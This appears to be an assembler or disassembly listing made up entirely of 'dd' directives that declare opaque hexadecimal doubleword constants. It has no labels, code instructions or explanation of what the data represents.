dd 2AA452C6h, 4D00ED7Ah, 817EAA63h, 43C6E65h, 6F52D9Ah
dd 5500808Dh, 0BE059B82h, 4E20C908h, 18E60C0Fh, 4321D9h
dd 882BA11Fh, 1D9AB60Bh, 41056E74h, 6D14DC0Eh, 0C097F448h
dd 243205B6h, 8873AA46h, 3A80A4DBh, 1E530986h, 1811FE02h
dd 8B81895h, 9A243005h, 0DD40B3C4h, 55B8059Eh, 2EE81FFEh
dd 0B9D4E730h, 6A18B3h, 0ECBD6CF3h, 0D0DAAF0Ch, 310041E8h
dd 85491F5Ah, 244C05FEh, 9C9F3Eh, 0C851431Ah, 0EA1391EDh
dd 0B850CA4Bh, 1A123D4h, 229F2EF6h, 88E918F1h, 2E7EE735h
dd 0FD2F4D01h, 5358F9FBh, 22CC8C20h, 44A56D11h, 0D560B8C4h
dd 4B006BD4h, 0EBFE8A8h, 246716C5h, 262B91BDh, 8E486010h
dd 0F341E7E2h, 7AF0C4Ch, 0FB4504E5h, 16BEA0ECh, 0A4FC68EDh
dd 11018B00h, 476AF531h, 2C31C1F9h, 0F49854FAh, 211844D7h
dd 0A999262Fh, 0B4CC54F1h, 0F34700E8h, 0C29B4D54h, 22541206h
dd 97F37F88h, 0BC0375C1h, 0D88A36EDh, 280F4B2h, 0ECF534CFh
dd 5C64B1BBh, 27AD1016h, 2AC82044h, 9E060D8h, 94ECF4B8h
dd 0AE04DC9Ch, 6119B897h, 0C04ACC0h, 8264B36Dh, 5BB0262Dh
dd 4D1D043h, 20943119h, 81C3D218h, 0BAAD2022h, 602C247Bh
dd 23FAB8E2h, 7811C4ECh, 0B899B400h, 24F99E2Bh, 2C0A3F00h
dd 0E7E925D0h, 0CAC4A3B9h, 6AA1421Eh, 474C6128h, 0B850E118h
dd 30A48C88h, 0AF6444h, 5BC9B898h, 0E124627Dh, 0F0BC032Bh
dd 77612880h, 1F25FD60h, 921D98D8h, 0F0E85408h, 0B85113Eh
dd 4023B9DCh, 0E14625E4h, 2A7A19F9h, 5504C0ACh, 92525947h
dd 6044D098h, 35669187h, 3D000AABh, 866D6855h, 0A19EFDBBh
dd 0B02032A4h, 99A26070h, 0DB354CA4h, 2BF8AF00h, 0F1240FA3h
dd 0C09B6993h, 60E67C84h, 10B95E31h, 0C8812F4Fh, 458680DCh
dd 1AEAC65Eh, 96DE4401h, 35092059h, 0F0B4B880h, 5CA71EEEh
dd 670A3Bh, 0A318BF3Ch, 0B94398FBh, 0D8990788h, 345B30A5h
dd 5211E82Ah, 25817A47h, 0A7D0C6Eh, 0BBAB4102h, 18401108h
dd 78C12D45h, 0B82A4B6Eh, 48348044h, 1F10702Eh, 5613C09Bh
dd 39A9E61Ch, 0FC81FB4Eh, 0B22F8A7Eh, 0F658BD33h, 0D8E8762Eh
dd 0A4D7C480h, 12FBD07Eh, 0C7167Ch, 0EF809FE4h, 0A60F4CF5h
dd 0C00FE84Fh, 0BB2D59C3h, 121700EEh, 0FA3F54CFh, 553FFDBAh
dd 38805697h, 4B77210Eh, 549D5437h, 67F9DC7h, 830C254h
dd 0B748CD84h, 0DD2D84C0h, 26680616h, 10121988h, 849CD1A5h
dd 0A4BE4CDCh, 78CB7BCh, 6ACB43DBh, 82FE603Eh, 0E7304A29h
dd 0A0A8B1D1h, 0D3410E2Ah, 22E0018Fh, 0F14C2442h, 6ADC6C09h
dd 20D0484Fh, 0B6F94410h, 19A37030h, 9082F6h, 0C5BC8BBDh
dd 923021ABh, 9D28C660h, 7FC1EFF0h, 0AE7F280Eh, 6062004Ch
dd 9C0B3CBFh, 42000DCCh, 5D1A1434h, 5C37201Bh, 0C6412083h
dd 0E0B2EC13h, 9967C142h, 18627954h, 4F4D040Dh, 0C027D80Eh
dd 0BC3C5848h, 0B87BD92Ah, 0DA652810h, 427E844Ch, 1A4230Dh
dd 22E22EF9h, 88EF18D9h, 2E02F1DCh, 3B91CCD0h, 81E48237h
dd 124207CBh, 0F8C5BFABh, 0B960B5E4h, 1C00F4CDh, 47C007DCh
dd 76A6C1Ah, 0CC51E63h
dd 0B0A8665Ch, 0CD6DD080h, 0E2F44382h, 0C20D00AEh, 0F701371Ah
dd 6E501F59h, 0AE408088h, 489FF123h, 4400809Ah, 0CE3628FDh
dd 8467E86Eh, 0B5380121h, 81589E98h, 310126D3h, 120889FCh
dd 416020A4h, 865B88A8h, 0BBA8A6BAh, 9BDC543Bh, 0A13EAD00h
dd 7AFBD266h, 1E4E0C1Fh, 0FA9874C4h, 4440CC4Ah, 4F232B7Bh
dd 945AF606h, 2A914038h, 48FA1914h, 0F09BE400h, 9A340C5Ch
dd 8BC00D7h, 4EBBFB18h, 490010EAh, 0A11AE809h, 24114413h
dd 74FC5314h, 8F48DD46h, 99811B3Ah, 3B4F11EDh, 801C2842h
dd 261A3D1Ch, 0B8932C20h, 632944BCh, 0ECF3E8E3h, 0C26891FCh
dd 0FCC09AB5h, 4F05E8D7h, 0FA78FCAAh, 0F7EFEC02h, 355890EAh
dd 4F9D115Eh, 9B2084CFh, 0BB00ECF2h, 0BA8BA30Eh, 947A6E4Dh
dd 2E1DA8C0h, 499D012Dh, 0F38F809Eh, 0E922E082h, 0DA10ED31h
dd 0C9002EEBh, 0E2D7C115h, 13086B07h, 229EAE5Ch, 0E868F578h
dd 0E2248255h, 720D54CDh, 0A02C209Dh, 8CE9BCh, 48FA951Dh
dd 602C764Eh, 25011090h, 410817F9h, 68288574h, 18CEFBCh
dd 3F7133E2h, 0E5B6201Ch, 0CEAC50CDh, 0B100C12Bh, 7827AB08h
dd 988271E6h, 0B07620F4h, 7726340Eh, 0F2684399h, 69402EDFh
dd 5B465E80h, 0BACDE301h, 0C86BA1E6h, 54B8A5C7h, 1214843Ah
dd 0F0CBB335h, 0A0C0B3C8h, 7425AC8Fh, 0BEF030Fh, 0C6F0A99Eh
dd 834EE101h, 0BB2FD924h, 6E08943Ch, 23026C7Ch, 0E599FFE1h
dd 0A2C33DF0h, 67753063h, 0C168ADE6h, 5A40C0A2h, 808BFCh
dd 8684781Ah, 7A57B2B9h, 0D302E87Eh, 5972FD2Bh, 40D84887h
dd 0C4D62E9Ch, 17116AC0h, 6884005Bh, 83A3D11Ch, 0F45FE21Bh
dd 262CA8B8h, 97AB32F9h, 0C453DF10h, 7771C8A9h, 6B0B9F18h
dd 33767C58h, 0E22FE920h, 157AE438h, 0C4A68219h, 7D2D1400h
dd 4E27A560h, 2B87AC0Bh, 0AFB0B054h, 0B89B4C4Dh, 9A048C73h
dd 4A243605h, 0DFC09CB2h, 7EA705A8h, 0FD746600h, 725F07D1h
dd 27F91524h, 9B27E88Bh, 0B3915497h, 0DE37BE80h, 60484D9Bh
dd 9E7E10DCh, 0C8ECCA92h, 1E99C1EFh, 0F9C2D060h, 0A2451B02h
dd 0D0C74410h, 0A37E17B0h, 7C5289h, 7C40FB98h, 5CB9E6A2h
dd 6A0BDA00h, 3C9AD5h, 73B41005h, 70D4D09Fh, 0EBDA2766h
dd 8CD3D71h, 9D8B6B80h, 6EC4F6B8h, 0B029C501h, 22156F92h
dd 88022421h, 0E89C20B1h, 6601EB87h, 8127D33Ah, 31E08C57h
dd 0D989002Bh, 0E996F291h, 0E07C029Dh, 289EACA1h, 0FC610434h
dd 7CC23CA1h, 0A29091B6h, 2E1FF718h, 20A322E4h, 0EFDE2658h
dd 0AD820C6Ch, 67E03F91h, 4F8F2700h, 0BD095015h, 76EA87h
dd 0BB13460Fh, 27DE33FCh, 530BD900h, 22D17442h, 0BC41C0A5h
dd 69B8BE55h, 97B05FB0h, 0F940E4B6h, 0F49C610h, 0E6E021A2h
dd 771B3C40h, 0BF01D9D2h, 0F461448Ah, 16DC24ECh, 0A26500B7h
dd 20EADF84h, 6F229F63h, 0C2BAC09Dh, 0DF2B0482h, 0F146A0B0h
dd 485E341Dh, 0DBC4D74Fh, 5E2C8940h, 7F3187A8h, 0BDCEB9A9h
dd 0E5957F4h, 659EA26Eh, 26209BC0h, 9C4837E1h, 0EE3081E0h
dd 0A4387BDDh, 58C65E8h, 9F4375Bh, 88489231h, 6E302000h
dd 607F4A25h, 4AA48C4h, 67031700h, 1C6F7B65h, 462C0572h
dd 13DBDFC8h, 239C2EF8h, 5CF500EFh, 2064D0FEh, 50306C4Ah
dd 11D14B1Ah, 8182639Bh, 0CE651820h, 0CAE6F88Ah, 4C6180A4h
dd 1A1B489Fh, 59C5A5Ch, 6D12A46Eh, 89B3F8D1h, 7A20E800h
dd 104E6C25h, 419638F0h, 0F06DEEC7h, 0CF6064E4h, 8548C0BFh
dd 2171008Ch, 0E2542683h, 0AFF80A7h, 4ABD800h, 0F99C6914h
dd 0CCF407DAh, 0A57976BBh, 0F2B4A2A9h, 569033B8h, 0E61C0E24h
dd 0BB4704E3h, 38D0A016h, 7672EDC5h, 78021485h, 724F84BDh
dd 40329AECh, 4B24357Ch, 0DAB02CC2h, 6305A300h, 0E4D5599Dh
dd 0A5B205ABh, 52F0CC32h, 907BD4h, 8E271C85h, 0B16D5466h
dd 1864D14Ch, 4EE28Ah, 0E9111013h, 802515F9h, 0F1242B0Ah
dd 0E089805Fh, 0CF0C06FAh, 2EEE5F11h, 0F7DE10F4h, 162D76C0h
dd 202E8A11h, 0F30B20B2h, 780445EBh, 29047FFBh, 28EDAA65h
dd 0A47060A0h, 4EC90098h, 0B0A55FF7h, 0CF3B73CEh, 158B0040h
dd 3E60EC12h, 0F4F90BBFh, 0DCC925A4h, 832468B9h, 0BA7CFA87h
dd 0E0D282h, 17F896E2h, 7FE8D7ADh, 5587C4BEh, 0A6C78341h
dd 0C9611100h, 0A17600CAh, 0D7E057D4h, 0DF014EBBh, 0D19FED47h
dd 0E2D0BC8Ah, 0B5EE15FAh, 0C04C9C4Dh, 8960AA48h, 0D914FCFDh
dd 0EE3E8600h, 0EB599788h, 1EF01C3h, 22435047h, 0E84C4083h
dd 0A20F0635h, 254DDD02h, 0CC279CF3h, 0F16C1DE2h, 0C9260008h
dd 92A5D8C5h, 6933BE00h, 0E9400D27h, 54F902FAh, 910FA0E0h
dd 38935070h, 0F3D15829h, 200D418h, 0FEF70640h, 17A38FADh
dd 9D79371Ah, 0E2686278h, 0F88132B0h, 20F14BE9h, 762D2F28h
dd 47540920h, 0F7DA627Ch, 48774E18h, 0E7098445h, 0F4E740A7h
dd 189B1F42h, 0D602CFB7h, 0A4C45FFBh, 9B304427h, 0BF2C0A18h
dd 0B546567Ch, 0D0758700h, 65CF541Eh, 0A081AC27h, 1AD808A0h
dd 45E40049h, 574074B9h, 9E39C9E1h, 630B8173h, 0A182B7A4h
dd 429A319Dh, 4FBD87CCh, 4E65DCC0h, 5067B724h, 44459803h
dd 0F0B90075h, 8FF305Dh, 8B4AA4E2h, 22E1D0CDh, 0E012A023h
dd 47044020h, 40BC4DE7h, 0E81D1F1Bh, 9D211F38h, 4169FC6Ch
dd 9E91A48Ch, 4629E700h, 1FB4BB67h, 64B64856h, 0B76AA098h
dd 0F1ECEE52h, 950C9B24h, 0A2A9AC00h, 88ECB658h, 264D1780h
dd 2344C06Ch, 984C83F9h, 88CAE5FCh, 0F0C0B0C8h, 9793E925h
dd 90B64C0Fh, 6E905688h, 88895B04h, 0F8E72FDAh, 64B85058h
dd 0CD3048Ch, 975A4721h, 36C02878h, 294F9A5Eh, 608C8107h
dd 915E2E8Bh, 644A0600h, 463217BDh, 229505A7h, 12200230h
dd 9D8808CCh, 488A3A80h, 1BC854Ch, 2FF679EEh, 7834DC44h
dd 0ECA72664h, 60CCDD50h, 92D991D5h, 0E7001057h, 2179BBA6h
dd 0DECF1Bh, 318AD3A3h, 27199D84h, 29BC2Dh, 0A2AFF5Ch
dd 30BDE495h, 0B049D2E6h, 0A71DFA8Eh, 0CD008881h, 0D9D89957h
dd 0BBF72F6Eh, 0A01A7407h, 0F0A9A664h, 0E48C1CA3h, 7B728A04h
dd 5175E400h, 0BCE35D81h, 72541806h, 0A77F7882h, 156E8A8h
dd 0FFAA3A2Ch, 92EB003Ah, 65DDAFD1h, 0B3FE00B8h, 0B0475C2Eh
dd 2826AD8Ah, 202BA0F1h, 1CDA5316h, 44C2EEC8h, 0EDF09132h
dd 5E083018h, 0CB374FB8h, 48859CA0h, 0E905575Eh, 2ED10FF8h
dd 0FAE8E819h, 5FBC7AD6h, 6EF45349h, 4DE04C0h, 0EF80185Ah
dd 2D3822CFh, 98A4D006h, 4C40B80Eh, 24F11899h, 13E89F80h
dd 150162Ah, 4D9DAC30h, 0CDC04063h, 0F44BA9BBh, 547BA4D0h
dd 0DE223030h, 8E538850h, 20B88C62h, 11589775h, 9BCE8079h
dd 1469F3B1h, 0DA5239F8h, 9C0B977Dh, 0FC005C64h, 0A2BDF3E1h
dd 9302F14h, 98B94C20h, 0E1D60C18h, 7EBC9900h, 0CA6E0471h
dd 2A4C0021h, 0EE278661h, 0D126DB3Bh, 4343DC1Eh, 2F890E60h
dd 8E8062EFh, 80B417F1h, 9D3954F8h, 87DC0048h, 0FA512F6Fh
dd 0BBCC12ECh, 0B7D4E6C6h, 0E50E73F0h, 0B1AA0049h, 92E4ED2h
dd 0BD0F2B72h, 89AC4D55h, 1D5C5AEFh, 0DB612EAh, 0C82088E7h
dd 6490E5F1h, 851C6E2Fh, 1CE1587Ch, 200A4479h, 25E83829h
dd 74E69064h, 1B84300h, 4C331664h, 913492AEh, 5AE820F4h
dd 4DF444DEh, 0EB1CC150h, 74C702EFh, 0C32547BCh, 1802A0ABh
dd 883E7653h, 0AFD46070h, 18260CC7h, 0EA4834BDh, 0A615BB01h
dd 8E12C9E7h, 934D8450h
dd 14A82C6Dh, 888404Ch, 310A9DCFh, 9C259B21h, 0A808A712h
dd 1A12BFC8h, 670235Eh, 2FACBBE9h, 0B8B00400h, 9EAD280h
dd 3D54D681h, 3C09285Ah, 0C59D0169h, 64EE64E4h, 5801DA12h
dd 681BF66Eh, 76F26822h, 12676830h, 0C18A4B7h, 1A61A111h
dd 0DC3D6200h, 0E4A7D7DFh, 0B84F500Ah, 0A4BC4CABh, 40526BC0h
dd 280F9276h, 5F0AEDB8h, 0CBA304FCh, 8C88F927h, 0D0261453h
dd 1400C069h, 34BCAD81h, 0C2284B80h, 0C07FF0B3h, 0F9702E00h
dd 6318748Bh, 0CD33001Eh, 5443CFE2h, 9D670Eh, 56E92784h
dd 744400A7h, 0E51E642Dh, 11768CBh, 2C8B6007h, 20C0F2C8h
dd 49D9143h, 12613AEh, 4CA8AC34h, 48BD48F0h, 114312C4h
dd 4E6C5444h, 52A4F488h, 1C4EB823h, 5830DE80h, 51C221A7h
dd 0B6681300h, 9A0D56C3h, 38480CEDh, 0F3485D20h, 4443D788h
dd 7B01AF75h, 0A94AB7BBh, 0C7079B81h, 5D7EB033h, 0BD9F97F5h
dd 6D48880Ch, 357D9942h, 40112021h, 806C9BD7h, 2432D240h
dd 3ED00BFCh, 88C8E6AFh, 0E73B3C78h, 883681BDh, 0C3149AEDh
dd 9F1CD2E8h, 854E4A0h, 0AC998209h, 0A2167300h, 1CC5C3BCh
dd 0BFD747h, 0F90502A3h, 527310E5h, 5C208817h, 7623983Ah
dd 0C0BCA60Eh, 4F7BB0F0h, 0C1384F0Eh, 0BC734584h, 0B4EE2C29h
dd 9B24215Eh, 7436FF80h, 0ABE5414h, 7019406Ah, 6C880BCh
dd 0A2C06B29h, 4753EC00h, 0E335247Ch, 0F1201226h, 92CCA4D3h
dd 878140h, 0A76AFAEDh, 47E1BE59h, 0C839DC9Ah, 2DE782ECh
dd 0EDEEDFBCh, 0AACFC0F8h, 0D604E8E0h, 0E169BB39h, 73F40C81h
dd 0D138C004h, 0B0A14E0Ch, 0AEC870F9h, 0E220251Fh, 0A41DB826h
dd 725D7844h, 0CEE008F6h, 0DD00B807h, 0BB845822h, 4A5748FCh
dd 2B1421EDh, 2106D8C5h, 72250500h, 8D89B8D3h, 0CE020215h
dd 0DC8271ACh, 607E90CAh, 1B3465Eh, 25BD132Bh, 0E882AA8Dh
dd 232D1820h, 0D49EF4F2h, 0B518F75Eh, 41B99607h, 82E7231Fh
dd 0F5282251h, 3CD8012Eh, 680CA5Ch, 79F4660h, 22E12EF4h
dd 40ECC428h, 0D32EED37h, 0EA993CADh, 46802CC8h, 433EF1C0h
dd 8DD92809h, 60D88AA9h, 0F7DD2174h, 6CCB9280h, 7145D72h
dd 163B2012h, 0B01049A4h, 547C7808h, 67289527h, 0B485604Ch
dd 0BC1D722Fh, 1DC0F083h, 0F42B1730h, 7D18C0B7h, 428E1B2Eh
dd 24BAC20Ch, 0F91A3083h, 33A83980h, 5C7A08BEh, 7B9BD403h
dd 73B783h, 0F1C45221h, 18B8F969h, 0C0F0D719h, 21808808h
dd 9CF1B2B1h, 0F900EDDAh, 0A8144389h, 3DE14C5Dh, 2F8152B5h
dd 2D77B71Bh, 7A7083B6h, 670DE36h, 8FFCFA40h, 0AE90200Ch
dd 387B3930h, 30AE7235h, 0B4C0305Ch, 3C00CACFh, 1FCE5A8Ah
dd 0CCB652B9h, 70212B08h, 81007C98h, 43EB76B0h, 7E9B0DE3h
dd 0FD7F3782h, 46396379h, 0D45897E0h, 3447CE0Fh, 0C87C8C90h
dd 0AC080071h, 0B98215F5h, 0B0E07FE8h, 83DA39CEh, 0B1F3C1h
dd 336A1411h, 561F3BC4h, 17668176h, 2821CA08h, 0AA6273h
dd 6B6A6C0Ah, 0FFF93D1Dh, 1625E300h, 91562382h, 0F288C069h
dd 19DE0207h, 0DC0CB4F8h, 48B521F5h, 155C3450h, 0B08808E1h
dd 0D03CCCC0h, 229E465Ah, 0C5160723h, 0F049D83Ch, 36C6881Dh
dd 0B33443E1h, 46B1A906h, 24889695h, 82086D18h, 50597016h
dd 0F594C480h, 0D0A2C02Dh, 8FF81890h, 0B246D4ACh, 883CCE1Ch
dd 25C4AE5Ah, 3CC71440h, 3300ABF1h, 60B51E03h, 28C11FCh
dd 4C2E4A28h, 0BF8063C6h, 5809F990h, 0F2532300h, 42017ED6h
dd 0C87154D3h, 6E048CC5h, 3F3BA833h, 311E0B63h, 8D9F6677h
dd 26A13BC0h, 37058BA6h, 0F0D81FECh, 7E1A7DB4h, 0E01DE1CFh
dd 88FAC4F0h, 0FC751AF3h, 0B4900878h, 0F00082BFh, 5D3E460Fh
dd 1884ED12h, 2168F9DCh, 99CEC4F5h, 80620935h, 61813FC0h
dd 1E7EA11h, 4ADC28Bh, 505BBE1Ch, 0EBC82F8Ch, 52D33491h
dd 0EE0034D9h, 2E90C36h, 0F44CF9A8h, 77B31D80h, 0C898BB54h
dd 336DC0C0h, 7433BABh, 0A0617687h, 0DEF4EAD9h, 59901A03h
dd 0EB2B405h, 5AB50D58h, 240C65h, 0A0A57AA0h, 68C8CD10h
dd 336CC0C7h, 0F463BAAh, 753D1022h, 2A800064h, 775C481Ch
dd 26150720h, 76FD5AD5h, 0B0070CAh, 66253560h, 3EE831D3h
dd 0A105D20Ah, 6080B475h, 0CBF08ADCh, 11D0FA23h, 81BE0068h
dd 452032F0h, 0A6830035h, 0DE389AF5h, 0C4A8275Bh, 88184DE1h
dd 4718FEA8h, 0C41C1CBFh, 75048006h, 0EF5515DBh, 0FB31CF00h
dd 4A41BE51h, 0AA381214h, 11881285h, 0F850E8D7h, 393040A7h
dd 0AC94F026h, 1786465Eh, 0FB01EF4Eh, 126BED5Ah, 5D3CB840h
dd 509700D7h, 41F13553h, 5A14FE8Ah, 0BCC0DB45h, 722F21C8h
dd 5E3BD201h, 430953Dh, 0C80713FAh, 41840FF2h, 5FE7FE5h
dd 0DC5B18h, 0B6D3B4DCh, 73E6B9EEh, 0D4EC4B00h, 416FF376h
dd 38B7739h, 399EB31h, 0D10079BBh, 0ED2A0653h, 8EA165h
dd 0D3C46AC1h, 0E109C232h, 0BC079600h, 6FE4FA41h, 4AE8C113h
dd 6454E5A8h, 0A7074F24h, 489D6D41h, 64781212h, 2AD4640h
dd 5ACD3CC9h, 102E31B6h, 313CC26Fh, 63FEC05Bh, 0CD7BDC24h
dd 0B901B01h, 7CE2EA19h, 78A76423h, 0CB0436C3h, 0EAE080C5h
dd 0B6D90579h, 911BED58h, 63E4E380h, 302AA26Ch, 4F07D0CCh
dd 15FCC9D8h, 4809D79h, 20722FC6h, 2EFAD0FFh, 400C037Eh
dd 23614EB1h, 6DD45900h, 1FB0BD5Ch, 0FF9807Ch, 60262824h
dd 4874483Eh, 1612394h, 0FAC8F0CFh, 888418E8h, 0F00086C3h
dd 3F29CBD0h, 495D33B8h, 2A0720DDh, 20DE5844h, 2386F69Dh
dd 79043973h, 0CDE46D3Fh, 290A48Ch, 0FBB2EF0Ah, 9065DB3Dh
dd 986010E4h, 5D002547h, 0DE9A0DC4h, 0BAF3A9h, 91656376h
dd 6CCDACBCh, 48A05B48h, 8C0FBC94h, 4F341500h, 0C2E69FBDh
dd 0C78504F2h, 0C80BE558h, 0D56C3390h, 408F18F9h, 0CC99C514h
dd 10C0A9D2h, 619E6CCh, 0C157FEBh, 0D60658D2h, 0B5A42258h
dd 44BD0129h, 0C23F9421h, 0B094208Ah, 6C91317Ch, 1036C6D1h
dd 0D96A6500h, 1FC031F0h, 3085D305h, 0E4C148C8h, 490072EBh
dd 0AB031BE8h, 4BF797DCh, 4CB3E239h, 0E63CE274h, 80A6435Ah
dd 3F3CC011h, 0FC080087h, 0E6FB1A6Ah, 0D926A63Bh, 27054C84h
dd 90C1B93Ch, 3400B4C7h, 49A3A40h, 0C1E88C58h, 2146BB5Dh
dd 12FAB074h, 1D2BD3E7h, 5B680264h, 0A045DB3Eh, 20D80FE5h
dd 0EBD00003h, 0F5CAD70Eh, 7E0C89B5h, 909565CEh, 2503307Fh
dd 7659BD31h, 0C0036092h, 1969CDB1h, 0A4B950BFh, 0CE048C64h
dd 0B0FACFF0h, 8501C238h, 0CC92ADF0h, 39F8224Ch, 4628B093h
dd 0F1A80287h, 1C58F96Dh, 0F1B6B50Fh, 1D1A947h, 4D163350h
dd 40DDD45Bh, 21688096h, 0FC169017h, 44023905h, 80535638h
dd 1E6B2EC8h, 467898D1h, 3CCB02AFh, 51C65A8Bh, 0BC6D6010h
dd 0FF01993Ch, 36E23FEFh, 6C22F474h, 0A810DA03h, 95C0AB54h
dd 590AF514h, 0FC174BFDh, 0B240093Ch, 43C6D89h, 471F837h
dd 34C1FB80h, 28AEF58Ch, 84467604h, 44DA6403h, 2E80DE93h
dd 374C4546h, 0FFF809A8h, 2DA0A0C7h, 4B79B1A6h, 85B00858h
dd 6BF1AAC0h, 22C846F9h, 0B0B70287h, 8C2C10F1h, 0ED24F440h
dd 0C00A6C00h, 0ECD2C28Fh, 0C01967E3h, 800392F8h, 7EBA4E40h
dd 8C2DE401h, 0F6500FFBh, 0B39E860h, 0A7EFF992h, 0D759F022h
dd 8E2F88A4h, 0C78D8828h, 0E8A950BEh, 0C0161F66h, 0A4009963h
dd 14C26B4Ah, 8B192870h, 306952C8h, 8F3084E2h, 40F44B93h
dd 585F26E0h, 4812E509h
dd 0D705E3FBh, 0AC0477F5h, 94C8FC7Eh, 6CDF505Ch, 0B54438F3h
dd 0E0FC4A80h, 0E249D93Bh, 0AB910F03h, 7DBA84h, 0A5F00629h
dd 77B897E7h, 9A932203h, 9FA869FAh, 8CE2F394h, 653085F2h
dd 3B9209E8h, 40095C56h, 17F704B0h, 31934096h, 0C4DA780Ah
dd 0C5808491h, 0C0F96AF1h, 0B28A448Ch, 0CFF1AB01h, 0B003F4F5h
dd 2139DCh, 404AFB35h, 5C83A056h, 9419D412h, 0CD135C40h
dd 0E50E95h, 15E61DAEh, 400558D5h, 5C00C49Ch, 8032B0CDh
dd 0B1D8635Bh, 0ABC02FB8h, 0CB00B6A3h, 6E132BA1h, 9CF8DC84h
dd 0BFF58A1Ch, 349080C0h, 0B3BC3C17h, 0F8C20501h, 446952C3h
dd 1880F840h, 0E1F13F35h, 0C9F04D35h, 510ECC2Ch, 665F1900h
dd 0B11CA5DFh, 0C5F60162h, 5ABE1F8Dh, 7FF9897Eh, 1B0C10FBh
dd 1929125Eh, 39B04159h, 207A6D4Eh, 0F0122E0Ch, 780BF3E3h
dd 0F037DAh, 0D421BE4h, 3E1FDC40h, 5E1EFBABh, 0B406D600h
dd 2CA81677h, 874470B1h, 24384A43h, 2250A152h, 312BF2B0h
dd 0EDED4F8h, 221EE476h, 3D7B6163h, 0EC0FCB9Fh, 5C37F016h
dd 0F16EC0A9h, 2B3234D7h, 30C2E91Ah, 0C511336Bh, 0C98C173Bh
dd 7F7A7421h, 144CAD1Fh, 0EB0AE9E8h, 303778B5h, 45E41E27h
dd 0ACE891CFh, 0CC3CC880h, 0C494BE5Ah, 3EC11258h, 5809A3Ch
dd 0FDF598B7h, 0E2123241h, 28407819h, 0BD96AC11h, 12BD986Ch
dd 1EA929h, 0AE39860Ah, 0A89A9001h, 86E498A5h, 102E8260h
dd 5E4D5100h, 1924767Ch, 0A479C080h, 0C81DD9D3h, 1022335Ah
dd 38A0441Ah, 6800E829h, 384616BEh, 22605D03h, 0A11D62D9h
dd 0E3A900C6h, 0FCC44ED7h, 6F00E6EFh, 0F093B5B2h, 48EC07FBh
dd 0CE0048E0h, 0BE467B6Ch, 29EB9F56h, 2D0810BCh, 0D4E3104h
dd 0FFE08473h, 90FC1909h, 2C1E2720h, 84B851A8h, 0CF7BC9BAh
dd 0C68588E4h, 502098EEh, 55F528D9h, 2CC4BA3Ch, 93C43519h
dd 88BC8B77h, 0E4EEC073h, 0F516940Eh, 289CC6E7h, 526540A1h
dd 4F924801h, 0A7FACD9Ch, 19838BE9h, 8C2F4A53h, 0B9701690h
dd 316140h, 953445FEh, 3210C943h, 43E2025h, 0B059A514h
dd 8CD187Fh, 78FACAF0h, 84BD70h, 6EB06DF0h, 0B527E557h
dd 0B880BC90h, 389450F9h, 18D630E8h, 0F0D181CDh, 8B0006C0h
dd 0A8ED0A70h, 9845D50h, 0BEF3BC7Fh, 82B2D020h, 8D001179h
dd 3463A2AFh, 1FE248AEh, 701996FBh, 6B05059h, 17E61400h
dd 0ACCBD58Ah, 0AA770358h, 9718C2BDh, 0F9293Fh, 262D0F1h
dd 16C7E6F4h, 3FCA693Dh, 8D2374h, 7E839BB3h, 9E077A0Bh
dd 53195D5Fh, 467CC0DAh, 4D190069h, 90A577C5h, 0D676015Ah
dd 73B43362h, 58D2E81Fh, 0DCD40812h, 3565800h, 6037F7F9h
dd 52D610F4h, 1C09C338h, 3775A1B7h, 0FAEB0058h, 44E7DCC8h
dd 6BDB5Eh, 226F9A00h, 0FD4B64EFh, 3FC01952h, 86BE00A6h
dd 99583AABh, 61E22EE4h, 12D390CCh, 0C80F69CEh, 3B047070h
dd 0C394F1AEh, 49C6EB78h, 0B2335D1Dh, 0FCEDB680h, 4BF7E7F8h
dd 4741723h, 904DA8F0h, 811A9258h, 0DDC389Ch, 8D4E3A13h
dd 263C3C81h, 465EF839h, 0C9A80524h, 0D007D4B2h, 0DCB45E17h
dd 0EB190CC0h, 1482EA25h, 54ECC26Ch, 0E8CC6B8h, 7978F01Eh
dd 9FA4F65h, 0C8442D9Ch, 8579BCB9h, 0FB257718h, 0EFE018E3h
dd 0C1990BC4h, 0F01D0BB8h, 158E2791h, 89FACE80h, 0F38E4C2h
dd 1001DAB3h, 1837ED58h, 0F3E12C30h, 26A2AC63h, 2CC1430h
dd 0DCD3892Dh, 0C4488EF2h, 8C945B5Dh, 473B6980h, 14F3146h
dd 9B7B09Bh, 71581E20h, 27282874h, 0E0FC8A5Ch, 12704674h
dd 1C043F0Fh, 5C9C7105h, 730604FCh, 867D659Eh, 62466054h
dd 0C9F0CC02h, 863180FAh, 0DB74302Ah, 0EF00A757h, 0EB9108C6h
dd 4B8F531h, 2FE87986h, 8404D1DDh, 88304B0Ch, 0A104C170h
dd 4C243085h, 9DDE8D09h, 945404A9h, 0ECAD90A9h, 15E4744Ah
dd 19C53902h, 8070594Eh, 0BE455A8Ch, 90CF5457h, 65FC0990h
dd 0E8E44829h, 4A92313Ah, 47AE888h, 0A5091FF1h, 13C4F0C7h
dd 0E55AECA8h, 28BE8724h, 0EA406300h, 2E66E4FBh, 3F207692h
dd 86187220h, 0DFF19619h, 0AE7E0073h, 97FCB6F2h, 0A67D133Bh
dd 0FE43F014h, 4C6E5EA4h, 0C44A3A00h, 0F8024B1h, 5D404096h
dd 42941FFh, 0B71BE754h, 4308C0F6h, 32141325h, 0BCD875CBh
dd 14EA8C71h, 514CA87Ah, 32F81378h, 87C8E88Bh, 0C8514BC0h
dd 579C0511h, 407BBA25h, 0D68C73E4h, 3C02044Dh, 0D0A93177h
dd 1200D315h, 2318B278h, 336901BCh, 19673BC7h, 20042DE6h
dd 0BA2EE1D8h, 0B725E4CBh, 51A18004h, 0A229FDF8h, 57F2890Bh
dd 0E4DC6532h, 19626073h, 0FFDC25B8h, 2D20C82Ah, 0B3B96430h
dd 7608BC9Eh, 2CA92779h, 0BDE5EC01h, 4C20295Ch, 31441F68h
dd 993005E5h, 4C2A2890h, 0FAC7020Fh, 1A933A4Ah, 7593880h
dd 85005F0Bh, 0AC644BF2h, 4CA7D141h, 0F5102C50h, 2CF0B6Ah
dd 0FF14E970h, 0DC092C28h, 0A02123F4h, 4155BD5Dh, 0BCFF7F44h
dd 736D0161h, 32C15D69h, 0F90881F7h, 0CE27823h, 16874130h
dd 60C9D2B6h, 5602973Ch, 49F56117h, 8C3C5CD9h, 28C26ACh
dd 10533316h, 0A481271Ch, 62941344h, 3088F26Ch, 8D7C2299h
dd 4FE08B00h, 214D4E32h, 9A349659h, 0E40079B0h, 0FD4E31E3h
dd 1081D798h, 21901720h, 56EE484Ah, 53F06C56h, 0FF2EF8D7h
